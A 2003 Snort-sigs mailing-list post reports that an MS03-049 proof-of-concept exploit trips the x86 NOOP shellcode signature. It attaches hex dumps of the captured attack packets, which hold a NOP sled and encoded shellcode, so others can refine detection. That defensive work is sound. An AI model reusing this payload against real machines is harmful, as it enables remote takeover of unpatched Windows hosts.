[Snort-sigs] ms03-049 proof of concept detected by x86 NOOP sig

William_Metcalf at ...1445... William_Metcalf at ...1445...
Thu Nov 13 06:46:34 EST 2003


11/12-18:19:05.775496  [**] [1:648:5] SHELLCODE x86 NOOP [**] 
[Classification: Executable code was detected] [Priority: 1] {TCP} 
y.y.y.y:1238 -> z.z.z.z:139

the ms03-049 poc that is floating around is detected by the SHELLCODE x86 
NOOP sig, as it probably should be.  I have included a dump of the exploit 
incase anybody more talented than I wants to write a better sig.

Regards,

Will


00d0  00 00 06 04 00 00 00 00 00 00 06 04 00 00 90 90   ................
00e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0100  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0110  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0120  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0130  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0140  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0150  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0160  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0170  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0180  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0190  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01d0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
01f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0200  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0210  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0220  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0230  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0240  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0250  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0260  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0270  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0280  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0290  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02d0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
02f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0300  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0310  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0320  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0330  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0340  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0350  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0360  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0370  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0380  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0390  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03d0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0400  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0410  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0420  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0430  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0440  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0450  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0460  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0470  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0480  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0490  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04d0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
04f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0500  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0510  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0520  90 90                                             ..

0000  00 00 0c 07 ac 0c 00 04 76 dd 5f e3 08 00 45 00   ........v._...E.
0010  03 fa 90 40 40 00 80 06 38 f3 0a 01 0c 1e 0a 01   ...@@...8.......
0020  0d ab 04 1e 01 bd d0 e8 2f 37 e2 86 e2 f5 50 18   ......../7....P.
0030  f7 c5 ff 62 00 00 90 90 90 90 90 90 90 90 90 90   ...b............
0040  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0050  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0060  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0070  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0080  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0090  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00d0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00e0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
00f0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0100  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0110  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0120  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0130  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0140  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0150  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0160  90 90 90 90 90 90 90 90 90 90 66 81 ec 04 07 90   ..........f.....
0170  90 90 90 90 90 90 90 90 90 90 90 eb 19 5e 31 c9   .............^1.
0180  81 e9 a6 ff ff ff 81 36 76 ac 7c 25 81 ee fc ff   .......6v.|%....
0190  ff ff e2 f2 eb 05 e8 e2 ff ff ff 9e 94 7c 25 76   .............|%v
01a0  ef 31 61 76 4b 05 e3 0f 49 35 a3 3f 08 d1 0b 9f   .1avK...I5.?....
01b0  08 66 55 b1 75 75 d0 db 67 91 d9 4d 22 32 2b 9a   .fU.uu..g..M"2+.
01c0  d2 a4 c7 05 01 a5 20 b8 de 82 96 60 fb 2f 17 29   ...... ....`./.)
01d0  9f 4e 0b 32 e0 30 25 77 f7 28 ac 93 25 21 25 1c   .N.2.0%w.(..%!%.
01e0  9c 25 41 fd ad f7 65 7a 27 0c 39 db 27 24 2d 9d   .%A...ez'.9.'$-.
01f0  a0 f1 72 5a fd 2e da a6 25 bf 7c 9d bc 16 2d 28   ..rZ....%.|...-(
0200  ad 92 4f 7c f5 f7 58 76 2c 85 23 02 48 2d 76 89   ..O|..Xv,.#.H-v.
0210  98 f3 cd e6 ac 7c 25 2f 25 78 ab 94 47 4d da 10   .....|%/%x..GM..
0220  2d 90 b5 77 f8 14 24 77 ac 7c da 23 8c 2b 72 21   -..w..$w.|.#.+r!
0230  fb 3b 72 31 fb 83 70 6a 25 bf 14 89 fb 2b 4d 74   .;r1..pj%....+Mt
0240  ac 69 96 ff 4a 16 35 20 ff 83 70 6e fb 2f da 23   .i..J.5 ..pn./.#
0250  b8 2b 73 25 53 29 35 ff 6e 1a a4 9a f8 7c a8 4a   .+s%S)5.n....|.J
0260  88 4d e5 1c b9 25 d6 dd 25 ab e3 32 88 6c 61 88   .M...%..%..2.la.
0270  e8 58 18 ff d0 58 6d ff d0 58 69 ff d0 58 75 fb   .X...Xm..Xi..Xu.
0280  e8 58 35 22 fc 2d 74 27 ed 2d 6c 27 fd 83 50 76   .X5".-t'.-l'..Pv
0290  fd 83 70 46 25 9d 4d 89 53 83 da 89 9d 83 70 5a   ..pF%.M.S.....pZ
02a0  fb 83 70 7a 53 29 0d 25 f9 2a 72 fd c0 58 3d fd   ..pzS).%.*r..X=.
02b0  e9 40 ae 22 a9 04 24 9c 27 36 3d fd f6 5c 24 9d   . at ...180..."..$.'6=..\$.
02c0  4f 4e 6c fd 98 f7 24 98 9d 83 d9 47 6c d0 1d 96   ONl...$....Gl...
02d0  d8 7b e4 b9 a1 7d e2 9d 5e 47 59 52 b8 09 c4 fd   .{...}..^GYR....
02e0  f6 58 24 9d ca f7 29 3d 27 26 39 77 47 f7 21 fd   .X$...)='&9wG.!.
02f0  ad 94 ce 74 9d bc ac 9c f3 22 78 2d 6e 74 25 90   ...t....."x-nt%.
0300  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0310  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0320  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0330  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0340  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0350  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0360  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0370  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0380  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0390  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03a0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03b0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03c0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
03d0  90 90 90 63 ee fd 74 90 90 90 90 90 90 90 90 90   ...c..t.........
03e0  90 90 90 e9 6f fd ff ff 00 90 90 90 90 90 90 90   ....o...........
03f0  90 90 c0 ff 12 00 8f 12 40 00 01 00 00 00 00 00   ........ at ...947...
0400  00 00 00 00 00 00 00 00                           ........
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.snort.org/pipermail/snort-sigs/attachments/20031113/6147766a/attachment.html>


More information about the Snort-sigs mailing list